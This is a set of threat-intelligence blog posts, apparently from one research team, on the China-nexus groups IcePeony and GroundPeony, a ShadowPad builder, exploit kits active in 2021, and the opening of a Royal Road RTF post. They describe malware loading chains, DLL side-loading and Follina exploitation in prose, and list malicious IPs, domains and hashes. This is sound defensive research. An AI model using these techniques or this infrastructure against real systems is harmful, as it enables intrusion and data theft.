This blog post is based on “IcePeony with the ‘996’ work culture” that we presented at VB2024. We are grateful to Virus Bulletin for giving us the opportunity to present.

https://www.virusbulletin.com/conference/vb2024/abstracts/icepeony-996-work-culture/

tl;dr

We have discovered a previously unknown China-nexus APT group, which we have named “IcePeony”. Due to operational mistakes, they exposed their resources, allowing us to uncover details of their attacks.

• IcePeony is a China-nexus APT group that has been active since at least 2023. They have targeted government agencies, academic institutions, and political organizations in countries such as India, Mauritius, and Vietnam.
• Their attacks typically start with SQL Injection, followed by compromise via webshells and backdoors. Interestingly, they use a custom IIS malware called “IceCache”.
• Through extensive analysis, we strongly believe that IcePeony is a China-nexus APT group, operating under harsh work conditions.

IcePeony

IcePeony is an unknown attack group. Our research shows that they have been active since at least 2023. They mainly target Asian countries, such as India and Vietnam. In the log files we analyzed, there were over 200 attempts to attack various government websites in India.

They use SQL injection attacks on public web servers. If they find a vulnerability, they install a webshell or malware. Ultimately, their goal is to steal credentials.

We believe IcePeony works for China’s national interests. It is possible that they prioritize China’s maritime strategy.

Our research found that IcePeony targeted government and academic institutions in India, political parties in Vietnam, and government institutions in Mauritius. Recently, they may have also attacked Brazil. It is likely that they will expand their targets in the future.

OPSEC fail

In July, we identified a host that was publicly exposing various attack tools, including CobaltStrike and sqlmap, via an open directory. What made this discovery even more compelling was the presence of a zsh_history file.

One of the most interesting findings was the zsh_history file. Similar to bash_history, the zsh_history file records command history. However, zsh_history also logs timestamps, allowing us to pinpoint the exact time each command was executed. This enabled us to construct a highly detailed timeline of the attack.

Unlike a typical timeline created by an IR or SOC analyst, this one offers insight from the attacker’s perspective. We could observe their trial-and-error process and how they executed the intrusion.

The zsh_history was not the only interesting file. There were many others.

For example, IcePeony had configured several helper commands in their alias file, including shortcuts to simplify lengthy commands and commands to quickly access help information.

Here is an example with Mimikatz. By typing “hPass,” the attacker could display basic tutorials for Mimikatz. This improved their effectiveness during attacks.

Intrusion Timeline

We obtained two weeks’ worth of command history from the zsh_history. Let’s go through the events of each day.

On day-1, the attacker attempted SQL injections on several government websites. When the exploit succeeded, they installed a webshell or IceCache, establishing a foothold for the attack. On day-2, they reviewed the domain information of compromised hosts and created accounts for further exploitation. On day three, which was a Sunday, no actions were taken. On day-3, which was a Sunday, they did not perform any actions. It seems the attacker does not work on Sundays. On day-4, they used IceCache to configure proxy rules. We will explain this in more detail later. On day-5, the attacker expanded their reach by attempting more SQL injections on other government websites. On day-6, they used various tools, including IcePeony’s custom tool called StaX and a rootkit called Diamorphine. On day-7, they continued to attack other hosts using tools like URLFinder and sqlmap.

On day-8, they used IceCache to steal information from the compromised environment, especially focusing on domain users. On day-9, they were quiet and only performed connection checks. On day-10, they did nothing since it was a Sunday. On day-11, they used tools like craXcel and WmiExec. They used craXcel, an open-source tool, to unlock password-protected Microsoft Office files. On day-12, they used IceCache to add proxy rules and set persistence with scheduled tasks. On day-13 and day-14, they explored other hosts for further exploitation.

Over the course of two weeks, the attacker utilized a variety of tools and commands to compromise government websites and exfiltrate information.

Tools

IcePeony uses a wide range of tools, with a particular preference for open-source ones. Here, we will highlight only the most distinctive tools they use.

StaX

StaX is a customized variant of the open-source tool Stowaway, a high-performance proxy tool. The attacker enhanced Stowaway with custom processing. Based on development strings, we called this version StaX.

StaX included encryption for communication targets specified in active mode using Custom Base64 and AES.

ProxyChains

ProxyChains is an open-source proxy tool. The attacker used ProxyChains to run script files on victim hosts.

info.sh is a script that collects system information from the compromised environment. It gathers environment information, user information, installed tool versions, network settings, SSH configuration files, and command history.

linux_back.sh is a script for backdoors and persistence. It downloads and runs a backdoor shell script from the server and creates backdoor users.

Interestingly, they installed a rootkit called Diamorphine, which is available on GitHub.

Malware

The IcePeony server contained malware targeting IIS, which we named IceCache. They used IceCache to attack the attack surface server. Additionally, during the investigation, we discovered another related malware, which we called IceEvent. Although no logs of using IceEvent were found. We believe it was used to compromise another computer that was not connected to the internet.

IceCache

IceCache is an ELF64 binary developed in Go language. It is customized based on the open-source software reGeorge.

To facilitate their intrusion operations, they added file transmission commands and command execution functionality.

IceCache module is installed and run on IIS servers. The number of commands change, but they are classified into two types based on authentication tokens. We found files with remaining PDB information. These files were developed by a user named “power” in a project called “cachsess”

The number of commands changes over time, but it includes command execution functions, SOCKS proxy functions, and file transmission functions.

These are the IceCache modules found so far. The first sample we are aware of was compiled in August 2023 and submitted to VirusTotal in October. Since there is no discrepancy between the compille time and the first submission, we believe the dates are reliable.

Many new samples have also been found since 2024. Most of the submitters are from India, which matches the victim information we have gathered from OpenDir data.

The number of commands has change over time. It is show that the malware’s developers have made improvements while continuing their intrusion operations.

IceEvent

IceEvent is a simple passive-mode backdoor that installed as a service.

Two types have been identified based on the command format. Both types only have the minimum necessary commands. The older type was discovered in September 2023, and several new types were found in April of this year. All of these were submitted from India.

Similarities

We believe that IceEvent was developed because a simple passive backdoor was needed during intrusions, based on code similarities with IceCache. Both IceCache and IceEvent use the same key for XOR to encode communication data. And PDB information shows that the same developer created both malware.

This is the XOR-based data encoding process used for communication data, which is equal to both malware.

This is the command execution process equal to both malware. Since the function calls and branching processes are exactly the same, we believe they were compiled from the same source code. Other commands also match perfectly.

The communication data of IceCache and IceEvent is only encoded using the XOR process mentioned earlier, making it easy to decode. Here is an example of decoding the data during command execution.

Attribution

We investigated the attacker’s activity times based on the timestamp information in the zsh_history file. As a result, we found that the attacker is likely operating in the UTC+8 time zone. Surprisingly, the attacker works from 8 a.m. to 10 p.m., which is a 14-hour workday. They are remarkably diligent workers.

Similarly, we investigated the changes in activity based on the day of the week. It seems that the attackers work six days a week. While they are less active on Fridays and Saturdays, their only full day off appears to be Sunday. This investigation suggests that the attackers are not conducting these attacks as personal activities, but are instead engaging in them as part of organized, professional operations.

By the way, have you heard of the term “996 working hour system”? This term originated in China’s IT industry. In China’s IT industry, long working hours see as a problem. It refers to working from 9 a.m. to 9 p.m.,six days a week. Such hard work conditions are called the “996 working hour system”. IcePeony might be working under the 996 working hour system.

https://en.wikipedia.org/wiki/996_working_hour_system

Next, There is a very simple example to consider when discussing attribution. IcePeony sometimes includes Simplified Chinese comments in the tools they use. Here, we provide an example of a wrapper script for the IceCache Client. From this, we can conclude that IcePeony is a threat actor from a region where Simplified Chinese is commonly used.

IcePeony uses an original malware called IceCache. As previously mentioned, IceCache is based on reGeorge. More specifically, IceCache contains a string referring to a project named reGeorgGo.

Upon investigating reGeorgGo, We found that it was developed by a Chinese security engineer. There is no other information about this project on the internet, aside from the developer’s blog. It was a not well-known tool. However, the publicly available reGeorgGo is a tool with only three arguments, where as IceCache has more commands added to it.

https://github.com/zz1gg/secdemo/tree/main/proxy/reGeorgGo

Let’s examine attribution from another side. In this attack campaign, IcePeony targeted India, Mauritius, and Vietnam. While attacks on India and Vietnam are generally not uncommon. What about Mauritius?

Mauritius is a small country located in the Indian Ocean. Interestingly, Mauritius has recently formed a cooperation with India. They are wary of China’s expansion into the Indian Ocean and have begun various forms of collaboration to counter this influence.

https://www.mea.gov.in/newsdetail1.htm?12042/

We summarize the attribution information using the Diamond Model.

IcePeony consists of Simplified Chinese speakers who show interest in the governments of Indian Ocean countries and work under the 996 working hour system.

They prefer open-source software developed in Chinese-speaking regions and use their original malware, IceCache and IceEvent. In attacks on the Indian government, they used VPSs located in the Indian region. Additionally, the governments and education sectors in Mauritius and Vietnam were also targeted.

Wrap-Up

In this blog post, we introduced IcePeony. IcePeony is a newly emerging attack group. Our investigation shows that they have been active since at least 2023. Their primary targets are countries in Asia, such as India and Vietnam.

The log files we analyzed recorded attempts to attack over 200 different Indian government websites. IcePeony typically attempts SQL Injection attacks on publicly accessible web servers. If vulnerabilities are found, they install web shells or execute malware. Ultimately, they aim to steal credentials.

We suspect that IcePeony operates as a group of individuals conducting cyberattacks in support of China’s national interests, possibly in connection with China’s maritime strategy. They remain active, and we must continue monitoring their activities closely moving forward.

IoCs

IP

• 165[.]22.211.62
• 64[.]227.133.248
• 173[.]208.156.19
• 173[.]208.156.144
• 154[.]213.17.225
• 103[.]150.186.219
• 63[.]141.255.16
• 204[.]12.205.10
• 107[.]148.37.63
• 103[.]99.60.119
• 154[.]213.17.237
• 45[.]195.205.88
• 154[.]213.17.244
• 103[.]99.60.93
• 149[.]115.231.17
• 149[.]115.231.39
• 103[.]99.60.108

Domain

• d45qomwkl[.]online
• k9ccin[.]com
• k8ccyn[.]com
• 88k8cc[.]com
• googlesvn[.]com

IceCache

• 484e274077ab6f9354bf71164a8edee4dc4672fcfbf05355958785824fe0468f
• 5b16d1533754c9e625340c4fc2c1f76b11f37eb801166ccfb96d2aa02875a811
• ceb47274f4b6293df8904c917f423c2f07f1f31416b79f3b42b6d64e65dcfe1b
• e5f520d95cbad6ac38eb6badbe0ad225f133e0e410af4e6df5a36b06813e451b
• d1955169cd8195ecedfb85a3234e4e6b191f596e493904ebca5f44e176f3f950
• 11e90e2458a97957064a3d3f508fa6dadae19f632b45ff9523b7def50ebacb63
• de8f58f008ddaa60b5cf1b729ca03f276d2267e0a80b584f2f0723e0fac9f76c
• b8d030ed55bfb6bc4fdc9fe34349ef502561519a79166344194052f165d69681
• 535586af127e85c5561199a9a1a3254d554a6cb97200ee139c5ce23e68a932bd
• 0b8b10a2ff68cb2aa3451eedac4a8af4bd147ef9ddc6eb84fc5b01a65fca68fd
• 5fd5e99fc503831b71f4072a335f662d1188d7bc8ca2340706344fb974c7fe46
• 3eb56218a80582a79f8f4959b8360ada1b5e471d723812423e9d68354b6e008c
• a66627cc13f827064b7fcea643ab31b34a7cea444d85acc4e146d9f2b2851cf6
• 0eb60e4c5dc7b06b719e9dbd880eb5b7514272dc0d11e4760354f8bb44841f77

IceEvent

• 80e831180237b819e14c36e4af70304bc66744d26726310e3c0dd95f1740ee58
• 9a0b0439e6fd2403f764acf0527f2365a4b9a98e9643cd5d03ccccf3825a732e
• 9aba997bbf2f38f68ad8cc3474ef68eedd0b99e8f7ce39045f1d770e2af24fea
• bc94da1a066cbb9bdee7a03145609d0f9202b426a52aca19cc8d145b4175603b

Introduction

A few days ago, we came across a peculiar file. It looked like some kind of builder, and a quick glance at the settings piqued our interest. It appeared to be a ShadowPad builder, probably created around 2021.

ShadowPad builders became a topic of conversation around the time of the i-Soon leak, but we had never seen the actual builder ourselves. This is likely true for most of you as well.

We were so intrigued that we carefully investigated this builder and reviewed past attack campaigns. In this article, we will share how attackers build ShadowPad, what we discovered through our investigation, and our insights.

Our investigation is still ongoing. We would love to engage in active discussions with you. If you have any opinions or comments, please feel free to contact us.

[Note] What we discovered this time is a builder. It does not include a controller. Therefore, it is not possible to control what is generated by this builder. In other words, this builder alone is not meaningful in the real world.

Background

In June 2024, we happened to read a research memo from a year ago. We often read past memos for a change of pace. In doing so, we recalled an attack on Kyrgyzstan in April 2023.

https://x.com/nao_sec/status/1648960199938707456

This attack involved a file resembling a RoyalRoad RTF, which prompted our investigation at the time. Opening this RTF file with a vulnerable version of Microsoft Word displayed a decoy file related to Kyrgyzstan’s cybersecurity, while simultaneously writing and executing several files to the disk. As a result, a CobaltStrike beacon was executed.

The loader that decrypted and executed the beacon resembled Casper Loader. Casper Loader is familiar to threat researchers specializing in East Asia and has been reported to be used in attacks by Tick¹². Our friend @aRtAGGI conducted similar analyses at the time.

https://x.com/aRtAGGI/status/1649184131090087938

We later found that a similar attack had been carried out against Kazakhstan after searching our past database. The attack on Kazakhstan was older than the one on Kyrgyzstan, occurring around November 2022. In this case, the same loader executed from the RTF file eventually ran the CobaltStrike beacon.

Information about the RTF files used in the attacks on Kyrgyzstan and Kazakhstan is listed in the IoC sheet from our previous research on RoyalRoad RTF³⁴. We have identified these as U-4. If you are interested, please refer to the IoC sheet.

https://nao-sec.org/jsac2020_ioc.html

Let’s return to the present. To investigate recent attack samples, we executed a search query based on the characteristics of the loader used in the attack on Kyrgyzstan.

exports:IEE2 exports:LoadLibraryShim2 exports:LoadStringRC2

We found an unusual file posted in May 2024. This data was embedded in the resource section of another file. We downloaded and executed the original file. To our surprise, it was a ShadowPad builder.

CasperVMakerHTTPx86

When launching the ShadowPad builder, which calls itself CasperVMakerHTTPx86, the following screen appears. There are several tabs, each with various settings.

• First
• Install
• Inject
• Online
• Proxy
• DNS

These items are very similar to the reported architecture of ShadowPad⁵. This suggests that these tabs are configuration items for each module. The settings for each item are as follows:

Let’s try building ShadowPad. By clicking the “Build EXE x86” button, ShadowPad is generated. If the build is successful, an EXE file and a DLL file are created.

The EXE file is a legitimate AppLaunch. It loads the mscoree.dll in the same directory via DLL Side-Loading. The DLL file is the Casper Loader, which decodes and executes the ShadowPad shellcode stored internally.

Comparison with Similar Samples

ShadowPad loaders exhibit several patterns, but those generated using this builder are decoded using a custom XOR with constants.

There are many samples with similar characteristics, but we will introduce two of them.

Sample-1

According to Macnica’s report², Tick uses Casper Loader to execute ShadowPad. Comparing this Casper Loader with the loader created using the builder reveals that while the Macnica sample contains junk code and different fixed values, the algorithm is the same.

Sample-2

A report released by the FBI in December 2021⁶ reported an attack exploiting CVE-2021-44515 where ShadowPad was used. The AppLaunch.exe and mscoree.dll in this case used Casper Loader to execute ShadowPad.

Comparing this Casper Loader with the one created using the builder shows that the algorithm and fixed values are identical. Although API Hashing is not used, it is a highly similar sample.

ShadowPad Community

As you know, ShadowPad is commercial software sold for profit. According to SentinelOne’s report from 2021⁵, ShadowPad is sold to various targeted attack groups, and there is speculation that whg and Rose are involved in its development. The i-Soon leak in February 2024 reported that i-Soon was selling software that appeared to be ShadowPad (including source code and training)⁷.

As various researchers have reported^{256891011121314151617181920212223242526272829303132333435363738}, many targeted attack groups use ShadowPad. These can be broadly categorized into two groups: attack groups associated with the MSS, like APT41, and those associated with the PLA, like Tick.

As previously mentioned, it is generally believed that whg and Rose were involved in ShadowPad’s development. There is no compelling reason to refute this, so we will proceed with this assumption. According to a U.S. government report related to APT41³⁹, Rose (Tan Dailin) was involved in APT41. Seven individuals were indicted for their involvement with APT41, with Rose (and Zhang Haoran) being particularly noted for their involvement in both BARIUM and LEAD, making them key figures in APT41’s activities. This background suggests that BARIUM was the earliest adopter of ShadowPad, followed by LEAD.

In contrast, the PLA has many more attack groups using ShadowPad than the MSS. This is generally because many researchers have given them different names, and their relationships are not sufficiently organized. If you are a researcher, you probably have more organized information in your mind (or within your organization). Of course, we understand and accept this. However, to keep things simple, we will exclude such discussions in this article and share how we organized this information within nao_sec. Interestingly, all these attack groups used the RoyalRoad RTF Weaponizer. Is this just a coincidence? ShadowPad and RoyalRoad RTF Weaponizer may be shared through the same channels.

Conclusion

In this article, we introduced the ShadowPad builder. ShadowPad, widely used by various targeted attack groups as a successor to PlugX, had limited information available about its builder until now. This article sheds light on how attackers build ShadowPad.

We also organized the relationships between attack groups using ShadowPad. Our research is still ongoing. We would love to engage in active discussions. If you have any opinions or comments, please contact us. We look forward to hearing from you.

Acknowledgments

We received a lot of help from our friends in writing this article. While we won’t name individuals here, we are immensely grateful to the many supportive reviewers. We want to take this opportunity to express our deepest gratitude to you.

References

This blog post is based on “GroundPeony: Crawling with Malice” that we presented at HITCON CMT 2023. We are grateful to HITCON for giving us the opportunity to present.

https://hitcon.org/2023/CMT/en/agenda/e8fe6942-9c60-419a-b9a0-dbda80a27ad0/

Presentation material (PDF) is here.

Abstract

In March 2023, we discovered a cyber attack campaign targeting Taiwanese government agencies. The campaign employed devious tactics such as tampering with legitimate websites to distribute malware, using URL obfuscation, and employing multi-stage loaders. In this post, we will first provide an overview of this attack campaign and share the analysis results of the malware used. Through this, the reader will be able to understand the latest attack cases targeting Taiwan.

As a result of our investigation, we suspect that this attack campaign was orchestrated by a China-nexus attack group. We will discuss the specific evidence supporting this assumption, and trace back to past attack campaigns. Past campaigns include attacks that exploted the CVE-2022-30190, known as Follina, at the zero-day stage. These studies enable to understand attacker’s motivations and attack backgrounds.

This post will enable SOC analysts, IR team members, CSIRT personnel, and others to gain a deep understanding of the latest APT attack trends targeting East and South Asia including Taiwan that have never been reported so far, and to take concrete countermeasures.

GroundPeony

The name “GroundPeony” was created by us and is not generally known. Based on our reading of the few public reports, we believe they are identical or close to the group dubbed UNC3347¹ by Mandiant. Active since at least 2021, it targets government organizations in East and South Asia, specifically Taiwan and Nepal.

There are two points to note about this group. First, GroudPeony exploits zero-day vulnerability. Specifically, it was the earliest exploiting CVE-2022-30190, also known as Follina. Follina itself is not very complex vulnerability, but it is speculated that this group could develop or have access to a zero-day. This is very interesting. Second, GroundPeony compromised websites for malware distribution. In the past case, Nepal’s government website was compromised.

For these reasons, GroundPeony is considered to be an APT group with high attack skill and attack motivation.

Timeline

This is a quick look at GroundPeony’s attack timeline.

The malware has existed on VirusTotal since around 2021. The oldest attack campaign we know is from April to June 2022. Around this time, Follina was exploited to attack Nepal, India, and other countries.

After that, we forgot about them for a while, but they started attacking again around March 2023. At this time, they attacked Taiwan and Nepal. In this post, we will deal with the case of April 2022 and March 2023.

Latest Attack Flow

Let’s look at a specific case. The first is the attack on the Taiwanese government that occurred in March 2023.

The attack started from spear-phishing email. The email has a DOC file attached. And, a URL is written in the DOC file, and the ZIP file is downloaded by the URL. The ZIP file contains EXE file and DLL file. And executing them, infects malware.

The spear-phishing email looked like this. It is about discussions on maritime issues between Taiwan and the USA. This time, I put a mosaic in the image, but the destination was the Taiwanese government organication. Also, the source is cable TV company in Taiwan. Attached to the email is a DOC file with the file name “Regarding bilateral consultations with the USA”.

When open the attached DOC file, it looks like this. It pretends to have an error instead of something like a file name. It says to apply an update to resolve the error. The URL is written for the download of the update. When try to download the update file from this URL, it actually downloads ZIP file containing malware.

The URL used at this time is very strange. At first glance, it may look like a legitimate Microsoft website. But, due to the structure of the URL, the original host information is Cuttly.

When access this URL, you will access to Cuttly. And it will redirect to ZIP file. At this time, the URL redirected from Cuttly was the website of a Taiwanese educational institution. But, this website was compromised, and a ZIP file containing malware was placed.

The ZIP file contains 2 EXE files, one TXT file, and one directory named “$RECYCLE.BIN” that looks like Windows trash box. There are 4 files in the $RECYCLE.BIN directory, all with the DOCX extension. But these are not DOCX files. They are actually malware.

By the way, did you notice that the update number written in the DOC file and the ZIP file are different? We don’t know if this was simply a mistake by the attacker or a remnant of another ongoing attack campaign.

Malware Analysis

Let’s take a look at how malware is executed. First, there are 2 files with the EXE extension included in the ZIP file, 系統安全補丁.exe and Install.exe. But the behavior is the same.

When the EXE file is executed, the 4 files placed in $RECYCLE.BIN will be copied to the mic directory under the ProgramData directory. At this time, the names of the 4 files are also changed. The 4 files are renamed to mic.exe, version.dll, mic.doc and mic.ver. And then, mic.exe is executed.

mic.exe is a legitimate file with a digital signature. But, it loads version.dll which exists in the same directory. When version.dll is executed by DLL Side-Loading, it loads and decrypts mic.doc. The decryption result is malware we call “micDown”

1. mic.exe
   • Legitimate EXE file with a digital signature
2. version.dll
   • DLL for Side-Loading
   • Shellcode launcher for mic.doc
3. mic.doc
   • Shellcode downloader (micDown)
4. mic.ver
   • Config file for micDown

Decoding of version.dll process is in two steps. First version.dll decodes mic.doc and executes it as shellcode. The shellcode further decodes itself and continues execution.

The export function of version.dll is very simple. First, it reads mic.doc into the memory area allocated by VirtualAlloc with read, write, and execute permissions. Then, it decodes that data with a custom XOR algorithm that combines sub, xor add instructions. When decoding is complete, the process moves to the memory area where the decoded shellcode is located.

The decoded shellcode uses the same custom XOR algorithm as before. The RtlDecompressBuffer is then used to decompress. The shellcode is decoded from the beginning of the file, excluding jump instruction.

The decoded code executes the executable with the MZ header removed. It also decodes the data in mic.ver and uses it as a configuration. Finally, it downloads and executes the shellcode from the C&C server, saved in the config.

The shellcode is encoded with an algorithm similar to that of a previous file. It differs slightly from the file encoding algorithm in that the order of the add,sub,xor instruction is swapped.

The encoded config consists of a 0x40 byte C&C host area and a 0x2 byte port area. The IP address at this time was 103[.]199.17.184.

Related File

An attack similar to the Taiwanese attack we have previously described was also carried out in Nepal. Although the specific origin of the attack is unknown, a legitimate website was compromised and a ZIP file was installed, as was the case in Taiwan.

The legitimate website that was compromised was the Nepalese government’s COVID-19 vaccine-related website. For reference, China is known to have provided vaccines to Nepal as part of its One Belt, One Road partnership². It is unclear what this has to do with the attacking campaing.

In the attack against Nepal, app.onedrivo[.] com was used as the C&C server. The domain was taken using PublicDomainRegistry. More on this domain later.

In the attack against Nepal, the malware behaves the same way. When the EXE file is executed, it copies and renames the file and executes mic.exe. mic.exe sideloads version.dll. Then version.dll will read, decode and execute mic.doc. The malware executed was the same as the previous one, called micDown.

Related Past Campaign

The C&C server used in the previous attack on Nepal has been used in other attacks in the past. The attack on Nepal occurred in April 2022. At that time, this group exploited CVE-2022-30190, also known as Follina. Finally, the CobaltStrike beacon is executed. This domain was used as the server to download this CobaltStrike and as the C&C server.

The DOCX file that served as the decoy is a statement of accusation by a person claiming to be a student at Kathmandu University. We do not know the authenticity of this accusation.

This DOCX file contains the external link settings. This will load the HTML file. The HTML file contains JavaScript code to change the location. The modified location is written with the scheme ms-msdt. This is the scheme for the Microsoft Support Diagnostic Tool. However,a bug existed in this that allowed PowerShell code to be executed. So, PowerShell code to be executed from a DOCX file.

The PowerShell code is downloaded, extracted and executed to a CAB file from the server.

Inside the CAB file is an EXE file made by PyInstaller. This EXE is a downloader. And can be downloaded from onedrivo[.]com and run the CobaltStrike beacon.

Attribution

Let us consider the attribution of this group. To begin with, it is important when this group was exploiting Follina. Follina was finally exploited by a very large number of APT groups. But that was after the details were made public. Here is the timeline.

The first time Follina became known to the public was through our tweets. We discovered the Follina sample against Belarus on May 27 and tweeted about it. Since then, detailed explanatory blogs have been published and PoCs have been released.

Going back earlier, a vulnerability was reported to Microsoft by the ShadowChasing group on April 12. However, Microsoft did not acknowledge it as a vulnerability at that time. The attack reported is also against Belarus.

Let’s go back further. In our research, we found samples from April 7 and 8. These are attacks against Nepal and India. We believe this is the earliest Follina sample. And these are the attacks by the group Mandiant calls UNC3347, which we call GroundPeony.

In other words, GroundPeony was exploiting Follina during a perfect zero-day period. Various organizations have written reports about Follina exploits, but China-nexus is the only group that has exploited Follina during zero-day periods. Therefore, we believe GroundPeony is the only China-nexus APT group with zero-day access.

Let’s look at another indicator. We analyzed an EXE file made by PyInstaller that is executed after the Follina exploit. The PyInstaller binary can easily decompile the Python code. The extracted file looked like this.

A large amount of Chinese comments were written. Also, the code was copy-pasted from various public repositories, but most of it was written by Chinese developer. This is a very elementary mistake. However, it is highly likely that the person who created the malware is a native Chinese speaker.

We tried mapping the victim (or presumed to be). A very interesting diagram. What does this mean?

Based on our previous research, we have created a diamond model.

GroundPeony, also known as UNC3347, is a China-nexus APT group. They have been active since at least 2021. They target East and South Asia like Taiwan and Nepal. In particular, they seem to be targeting government agencies, research institutions, and telecoms.

The attacks begin with spear phishing emails. They compromised legitimate websites and use them for their attacks. There was nothing unique about the IP addresses used, and no connection to the victim country could be found. GroundPeony also provides zero-day access. Besides popular tools such as CobaltStrike, they also use group’s original malware.

Wrap-Up

GroundPeony is an APT group of which little is known so far. It is believed to be China-nexus. It is targeting East and South Asian countries like Taiwan and Nepal. In particular, they seem to be targeting government agencies, research institutions, and telecoms.

One point worth noting is their use of zero-day. Follina was exploited in its early period. This group also compromised legitimate websites and install malware. GroundPeony is an aggressive APT group. Please keep an eye on their future developments.

IoC

• 103[.]199.17.184
• 160[.]20.145.111
• 172[.]93.189.239
• *.onedrivo[.]com
• 1992b552bdaf93caeb470f94b4bf91e0157ba4a9bb92fb8430be946c0ddabdeb
• 425630cc8be2a7dc2626ccd927bb45e5d40c1cb606bb5b2a7e8928df010af7c9
• fa6510a84929a0c49d91b3887189fca5a310129912d8e7d14fed062e9446af7e
• 142a027d78c7ab5b425c2b849b347952196b03618e4ad74452dbe2ed4e3f73cd
• d1989ca12426ed368816ce00f08975dc1ff1e4f474592523c40f9af344a57b49
• 6e13e5c7fcbafc47df259f2565efaed51bc1d021010c51673a7c455b5d4dad2b
• ef611e07e9d7e20ed3d215e4f407a7a7ca9f64308905c37e53df39f8a5bcbb3c
• 7b814e43af86a84b9ad16d47f9c74da484ea69903ef0fbe40ec62ba123d83a9a
• f3e0a3dd3d97ccc23c4cee0fd9c247dbe79fbf39bc9ae9152d4676c96e46e483
• 50182fca4c22c7dde7b8392ceb4c0fef67129f7dc386631e6db39dec73537705

References

It’s 2021 now. Moreover, the quarter has already passed. I thought Drive-by Download attack was dead four years ago. Angler Exploit Kit has disappeared, pseudo-Darkleech and EITest campaign have disappeared, and RIG Exploit Kit has also declined. At that time, Drive-by Download attack was definitely supposed to die. However, even if in 2021, it will not disappear fire still slightly.

In April 2021, I received some incredible notices. For example, there are the following notifications.

• PurpleFox Exploit Kit has started exploiting CVE-2021-26411
• RIG Exploit Kit has started exploiting CVE-2021-26411
• Bottle Exploit Kit is back, and has started exploiting CVE-2020-1380 and CVE-2021-26411
• Underminer Exploit Kit is back

Repeat again. It’s 2021 now. Not 2017. Internet Explorer was taken away by Chrome and Edge, and Drive-by Download attack was supposed to die. Why are there still Drive-by Download attacks? Here are some reasons, including the opinions of your friends.

1. Internet Explorer is still used in some countries/regions including Japan
2. Due to the influence of corona, remote work has increased, and the number of users with network security vulnerabilities has increased
3. Internet Explorer vulnerabilities still discovered and exploit code published

In reality, these are intricately intertwined, and there may be different reasons.

In any case, Drive-by Download attacks are still being observed. Moreover, it is a little more active. This is irrelevant for most people. Because most people don’t use Internet Explorer. If you don’t use Internet Explorer, a typical Exploit Kit attack is not a threat. A small number of targeted attacks may use Chrome’s 0day, which is not discussed here.

For the few enthusiastic Internet Explorer users that exist, I write this blog post. In other words, as of April 2021, I will introduce the characteristics of common Drive-by Download attacks that you may encounter. Thanks to my friends (@jeromesegura, @nao_sec members) for helping me write this blog post.

Exploit Kit Landscape

As of April 2021, the following 6 types of Exploit Kits have been observed to be active.

• RIG
• Spelevo
• PurpleFox
• Underminer
• Bottle
• Magnitude

nao_sec has been running a fully automatic Drive-by Download attack observation environment called Augma System[1] for three years. The data observed by this is as follows. Some Exploit Kits are not counted because they are observed in different environments.

The features of the 6 types of Exploit Kits currently observed are as follows.

Here is sample traffic for each.

RIG Exploit Kit

RIG is an Exploit Kit that has been active since around 2014. It was extremely active from 2016 to 2017, but then declined with the advent of Fallout and others. However, it is still active in 2021.

RIG started abusing CVE-2021-26411 in April 2021 and are still incorporating changes. Landing Pages are not obfuscated as they used to be. Very simple code. The malware is RC4 encrypted.

Download sample traffic here.

Spelevo Exploit Kit

Spelevo is an Exploit Kit that appeared in 2019. 2020 was very mature, but 2021 is one of the most active Exploit Kits.

Spelevo hasn’t changed for a long time. Spelevo hides the malware in the image. See this article[2] for detailed behavior.

Download sample traffic here.

PurpleFox Exploit Kit

PurpleFox is an Exploit Kit that has been active since 2019. A private exploit kit for sending PurpleFox malware. It’s enthusiastic about exploit and is fairly fast at incorporating new vulnerabilities.

Spelevo has started to exploit CVE-2021-26411 in April 2021. However, the other parts have not changed for a long time.

Download sample traffic here.

Underminer Exploit Kit

Underminer is an Exploit Kit that appeared in 2018. It’s a pretty distinctive Exploit Kit. It is known to be extremely difficult to analyze. It is used to deliver its unique malware called Hidden Bee. See this article[3] for more details.

Underminer has a cycle of activity for several months and then silence for several months. It has been silent since the November 2020, but was revived in April 2021. But the essence hasn’t changed at all.

Download sample traffic here.

Bottle Exploit Kit

Bottle is an Exploit Kit that appeared in 2019. An extremely rare Exploit Kit that targets only Japan. It is used to deliver its unique malware called Cinobi.

It is one of the most active Exploit Kits in Japan. It has not been observed since November 2020, but it was revived in April 2021. It’s also worth noting that unlike other Exploit Kits, it exploits CVE-2020-1380 and CVE-2021-26411. It has been pointed out that it is related to MageCart and phishing campaigns. See this article[4] for more details.

Download sample traffic here.

Magnitude Exploit Kit

Magnitude is one of the oldest existing Exploit Kits. It has been observed only in certain countries/regions such as South Korea and Taiwan, and the details have not been reported much.

Its activity was also reported in April 2021. It exploits CVE-2021-26411 and is still actively evolving.

One more: #MagnitudeEK pic.twitter.com/pOuIZzAPZG

— Jérôme Segura (@jeromesegura) April 14, 2021

Finally

Drive-by Download attacks are still observed in 2021. It has nothing to do with most people. As with Adobe Flash Player, stop using Internet Explorer immediately. That is the simplest solution. Drive-by Download attacks continue to exist with Internet Explorer.

References

[1] https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-KoikeChubachi.pdf
[2] https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit
[3] https://blog.malwarebytes.com/threat-analysis/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack/
[4] http://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_103_koike-takai_jp.pdf

Abstract

We introduced the “Royal Road RTF Weaponizer” in our previous blog [1] (and presented at Japan Security Analyst Conference 2020 and CPX 360 CPRCon 2020). Royal Road is a tool shared by many targeted attack groups believed to belong to China. It’s been a year since our previous blog, and Royal Road is still in use. Here, we will introduce the Royal Road-related attacks observed during 2020.

Previous Blog

Let’s briefly review the previous blog. Royal Road is a tool that generates RTF files that exploit the Microsoft Office Equation Editor vulnerabilities (CVE-2017-11882, CVE-2018-0798, CVE-2018-0802). The details of the tool are unknown, but the RTF file generated by it has various characteristics. The definition of “RTF file generated by Royal Road” may vary from researcher to researcher. Therefore, we define a file that meets the following conditions as an “RTF file generated by Royal Road”.

1. Exploiting a vulnerability in Microsoft Office Equation Editor
2. Containing an object named “8.t”

However, some RTF files are likely to be related to Royal Road, even though they don’t meet the second condition. For classification purposes, we refer to this as “Related Samples”. In reality, this may also be an RTF file generated by Royal Road, but the truth is only known to the attacker. Due to the our research, we have divided these into “Royal Road Samples” and “Related Samples”. However, they are treated the same in the specific case studies below.

